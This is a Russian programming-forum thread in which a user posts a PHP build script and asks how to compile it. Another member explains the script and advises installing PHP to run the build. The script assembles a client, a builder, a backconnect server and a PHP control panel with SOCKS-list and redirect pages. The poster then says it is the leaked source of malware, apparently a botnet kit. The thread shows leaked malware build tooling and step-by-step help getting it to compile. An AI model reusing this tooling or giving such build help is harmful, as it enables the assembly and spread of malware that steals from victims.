Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > C/C++ программирование > Visual C++
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 14.11.2014, 19:13   #11
AMDG
 
Регистрация: 25.09.2010
Сообщений: 7
По умолчанию

Цитата:
Сообщение от Alex11223 Посмотреть сообщение
А чего там в make.php-то, который рядом с make.cmd? Или нет его?
есть. вот код, я не очень понимаю, что он делает:
Код:
<?php error_reporting(E_ALL); set_time_limit(0);

require_once('tools.inc.php');
require_once('buildconfig.inc.php');
require_once('configsample.inc.php');
require_once('baseconfig.inc.php');
require_once('installdata.inc.php');
{
  writeLn(str_repeat('=', 80)."\r\n".BO_NAME." package builder.\r\n".str_repeat('=', 80)."\r\n");
  if($_SERVER['argc'] > 3 && strcmp($_SERVER['argv'][1], '-b') === 0)
  {
    $configDir = $dir['configs'].'\\'.basename($_SERVER['argv'][2]);
    loadPackageConfig($configDir);
  }
  else
  {
    $helpMessage = "\t-b [config file] [signature] - build package.\r\n";
    writeLn("Commands:\r\n".$helpMessage);
    die(1);
  }
}
define('BO_SIGNATURE', $_SERVER['argv'][3]);
writeLn("-> Configuration:  ".basename($configDir)."\n".
        "-> Debug:          ".$config['debug']."\n".
        "-> Version:        ".BO_CLIENT_VERSION."\n".
        "-> Signature:      ".BO_SIGNATURE);
if(getenv('BO_SLIENT') === FALSE)waitAnyKey();
require_once($dir['source']['common'].'\defines.php');

writeStep('CLEARING');
clearTemp(1);

writeStep('PREPARING');
writeFile($dir['output'][0].'\config', basename($configDir));
writeFile($dir['source']['common'].'\config.h', generateDefaultConfigHeader(
          "#define BO_SIGNATURE \"".BO_SIGNATURE."\"\r\n".
          "#define BO_SIGNATURE_HASH \"".sprintf("0x%08X", crc32(BO_SIGNATURE))."\"\r\n".
          "\r\n//List of common defines from defines.php\r\n".generateXDefines($_COMMON_DEFINE, 'c')));

if(configBool('buildtools_platforms'))
{
  writeStep("BUILDING BUILDTOOLS");
  buildBinary('buildtools', 1, true, false);
  copyFile($dir['output']['buildtools'].'\\'.$commandLineOptions['buildtools']['win64']['name'], $dir['bin'].'\\'.$commandLineOptions['buildtools']['win64']['name']);
}

if(configBool('client_platforms'))
{
  writeStep("BUILDING CLIENT");
  
  writeFile($dir['source']['common'].'\generateddata.h', headerOfHfile().
            generateBaseConfigHeader()."\r\n".
            generateInstallData()
           );

  generateCryptedStrings($dir['source']['client'].'\cryptedstrings');
  
  //Сборка.
  buildBinary('client', 0, true, true);
  
  //Создание данных для билдера.
  $client32 = '';
  $client32 .= "#define CLIENT32_VA_BASECONFIG ".sprintf('0x%08X', getVaFromMap('client', 'win32', 'baseConfigSource'))."\r\n";
  $client32 .= "#define CLIENT32_VA_INSTALL    ".sprintf('0x%08X', getVaFromMap('client', 'win32', '_install'))."\r\n"; //CoreInstall.
  $client32 .= "#define CLIENT32_VA_UPDATE     ".sprintf('0x%08X', getVaFromMap('client', 'win32', '_update'))."\r\n"; //CoreInstall.
  $client32 .= "const BYTE _client32[] =\r\n".binFileToCArray($dir['output']['client'].'\\'.$commandLineOptions['client']['win32']['name'], 0);
  writeFile($dir['source']['builder'].'\clients.h', headerOfHfile().$client32."\r\n");
}

if(configBool('builder_platforms'))
{
  writeStep("BUILDING BUILDER");
  buildBinary('builder', 1, true, true);

  writeStep("BUILDING SAMPLE CONFIGURATION FILE");
  buildConfigSample($dir['output']['builder']);

}

if(configBool('manual'))
{
  writeStep("BUILDING MANUAL");
  copyFile($dir['docs'].'\manual_ru.html', $dir['output'][0].'\manual_ru.html');
}

if(platformEnabled('server', 'php'))
{
  writeStep("BUILDING PHP SERVER");

  if(!configBool('jabber_notifier'))
  {
    $commandLineOptions['server']['php']['exclude_files'][] = 'system\jabberclass.php';
    $commandLineOptions['server']['php']['exclude_files'][] = 'system\reports_jn.*';
  }
  
  buildBinary('server', 0, false, false);
  
  //Копируем гео-базу.
  copyFile($dir['geobase'].'\country[maxmind].txt', $dir['output']['server'].'[php]\install\geobase.txt');
  createSubDir($dir['source']['server'].'[php]\tmp');
  
  createSubDir($dir['output']['other']);
  copyFile($dir['source']['other'].'\redir.php', $dir['output']['other'].'\redir.php');
  copyFile($dir['source']['other'].'\sockslist.php', $dir['output']['other'].'\sockslist.php');
}

if(configBool('bcserver_platforms'))
{
  writeStep("BUILDING BACKCONNECT SERVER");
  buildBinary('bcserver', 1, true, false);
}

if(configBool('builder_platforms') || configBool('bcserver_platforms') || platformEnabled('server', 'php'))
{
  writeStep("CREATING DISTRIBUTED PACKAGE");
  packDir(array(
                $dir['output']['builder'],
                $dir['output']['server'].'[php]',
                $dir['output']['server'],
                $dir['output']['other'],
                $dir['output'][0].'\manual_??.txt'
               ),
          $dir['output'][0].'\ZS_'.BO_CLIENT_VERSION);
}

goodEnd();
?>
кроме этого исходника, есть еще один, там нет выходных параметром, если поставить выполнить как exe программу, то примерно такие же ошибки как я писал выше
AMDG вне форума Ответить с цитированием
Старый 14.11.2014, 19:39   #12
Alex11223
Старожил
 
Аватар для Alex11223
 
Регистрация: 12.01.2011
Сообщений: 19,500
По умолчанию

Ну как минимум оно вроде бы пишет всякие #define в файлы кода, и сам запуск сборки видимо в функции buildBinary, которая в одном из заинклюденных сверху файлов.

В общем я б посоветовал поставить РНР http://windows.php.net/download/ и запустить это с первоначальными исходниками. (путь к php.exe в make.cmd поменять не забудьте)

Вообще судя по "..\bin\php\php.exe" интерпретатор РНР должен был быть приложен к проекту.
И там чего никакого Readme по сборке нет? Это где вы такое откопали?
Ушел с форума, https://www.programmersforum.rocks, alex.pantec@gmail.com, https://github.com/AlexP11223
ЛС отключены Аларом.

Последний раз редактировалось Alex11223; 14.11.2014 в 21:55.
Alex11223 вне форума Ответить с цитированием
Старый 15.11.2014, 01:11   #13
AMDG
 
Регистрация: 25.09.2010
Сообщений: 7
По умолчанию

вообщем, верно, это служебная утилита со своими cmd решениями, скриптами, тема закрыта, мне помогли, сам бы я точно не справился, это исходники одного зверька, его исходники случайно в паблик просочились, пару лет целая эпопея была, не все так просто как казалось... за помощь спасибо!
AMDG вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Настройки VS2010. Оконный проект на asm x64. Вызов API. Klient.by Assembler - Ассемблер (FASM, MASM, WASM, NASM, GoASM, Gas, RosAsm, HLA) и не рекомендуем TASM 10 26.01.2014 19:54
Скомпилировать все модули в один проект.СИ++ Человек Панда Помощь студентам 0 30.09.2011 23:20
Помогите скомпилировать проект kakawkin Общие вопросы C/C++ 0 25.10.2009 11:25
скомпилировать проект Killbrum Общие вопросы C/C++ 5 02.09.2008 09:26